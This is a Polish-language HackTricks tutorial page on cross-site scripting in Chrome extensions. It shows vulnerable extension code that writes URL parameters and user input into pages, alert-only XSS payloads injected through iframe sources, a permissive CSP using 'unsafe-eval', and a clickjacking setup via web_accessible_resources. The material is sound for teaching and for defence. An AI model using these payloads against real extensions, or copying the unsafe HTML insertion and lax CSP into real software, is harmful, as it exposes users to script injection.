BrowExt - Przykład XSS
Reading time: 4 minutes
tip
Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Wsparcie HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegram lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów github.
Cross-Site Scripting (XSS) przez Iframe
W tej konfiguracji implementowany jest skrypt zawartości, który instancjonuje Iframe, włączając URL z parametrami zapytania jako źródło Iframe:
chrome.storage.local.get("message", (result) => {
let constructedURL =
chrome.runtime.getURL("message.html") +
"?content=" +
encodeURIComponent(result.message) +
"&redirect=https://example.net/details"
frame.src = constructedURL
})
Strona HTML dostępna publicznie, message.html
, jest zaprojektowana do dynamicznego dodawania treści do ciała dokumentu na podstawie parametrów w URL:
$(document).ready(() => {
let urlParams = new URLSearchParams(window.location.search)
let userContent = urlParams.get("content")
$(document.body).html(
`${userContent} <button id='detailBtn'>Details</button>`
)
$("#detailBtn").on("click", () => {
let destinationURL = urlParams.get("redirect")
chrome.tabs.create({ url: destinationURL })
})
})
Złośliwy skrypt jest wykonywany na stronie przeciwnika, modyfikując parametr content
źródła Iframe, aby wprowadzić ładunek XSS. Osiąga się to poprzez zaktualizowanie źródła Iframe, aby zawierało szkodliwy skrypt:
setTimeout(() => {
let targetFrame = document.querySelector("iframe").src
let baseURL = targetFrame.split("?")[0]
let xssPayload = "<img src='invalid' onerror='alert(\"XSS\")'>"
let maliciousURL = `${baseURL}?content=${encodeURIComponent(xssPayload)}`
document.querySelector("iframe").src = maliciousURL
}, 1000)
Zbyt liberalna polityka bezpieczeństwa treści, taka jak:
"content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self';"
pozwala na wykonanie JavaScript, co sprawia, że system jest podatny na ataki XSS.
Alternatywne podejście do wywołania XSS polega na utworzeniu elementu Iframe i ustawieniu jego źródła, aby zawierało szkodliwy skrypt jako parametr content
:
let newFrame = document.createElement("iframe")
newFrame.src =
"chrome-extension://abcdefghijklmnopabcdefghijklmnop/message.html?content=" +
encodeURIComponent("<img src='x' onerror='alert(\"XSS\")'>")
document.body.append(newFrame)
DOM-based XSS + ClickJacking
Ten przykład pochodzi z oryginalnego opisu.
Główny problem wynika z podatności na Cross-site Scripting (XSS) opartej na DOM, znajdującej się w /html/bookmarks.html
. Problemowy JavaScript, część bookmarks.js
, jest szczegółowo opisany poniżej:
$("#btAdd").on("click", function () {
var bookmarkName = $("#txtName").val()
if (
$(".custom-button .label").filter(function () {
return $(this).text() === bookmarkName
}).length
)
return false
var bookmarkItem = $('<div class="custom-button">')
bookmarkItem.html('<span class="label">' + bookmarkName + "</span>")
bookmarkItem.append('<button class="remove-btn" title="delete">x</button>')
bookmarkItem.attr("data-title", bookmarkName)
bookmarkItem.data("timestamp", new Date().getTime())
$("section.bookmark-container .existing-items").append(bookmarkItem)
persistData()
})
Ten fragment pobiera wartość z pola wejściowego txtName
i używa konkatenacji łańcuchów do generowania HTML, który następnie jest dodawany do DOM za pomocą funkcji .append()
jQuery.
Zazwyczaj Polityka Bezpieczeństwa Treści (CSP) rozszerzenia Chrome zapobiegałaby takim lukom. Jednak z powodu rozluźnienia CSP z ‘unsafe-eval’ oraz użycia metod manipulacji DOM jQuery (które wykorzystują globalEval()
do przekazywania skryptów do eval()
po wstawieniu do DOM), wykorzystanie jest nadal możliwe.
Chociaż ta luka jest istotna, jej wykorzystanie zazwyczaj zależy od interakcji użytkownika: odwiedzenia strony, wprowadzenia ładunku XSS i aktywacji przycisku „Dodaj”.
Aby wzmocnić tę lukę, wykorzystuje się wtórną lukę clickjacking. Manifest rozszerzenia Chrome pokazuje rozbudowaną politykę web_accessible_resources
:
"web_accessible_resources": [
"html/bookmarks.html",
"dist/*",
"assets/*",
"font/*",
[...]
],
Należy zauważyć, że strona /html/bookmarks.html
jest podatna na ramkowanie, a zatem wrażliwa na clickjacking. Ta podatność jest wykorzystywana do osadzenia strony w witrynie atakującego, nakładając na nią elementy DOM w celu wprowadzenia w błąd interfejsu. Ta manipulacja prowadzi ofiary do niezamierzonego interakcji z podstawową rozszerzeniem.
References
- https://palant.info/2022/08/31/when-extension-pages-are-web-accessible/
- https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/
tip
Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Wsparcie HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegram lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów github.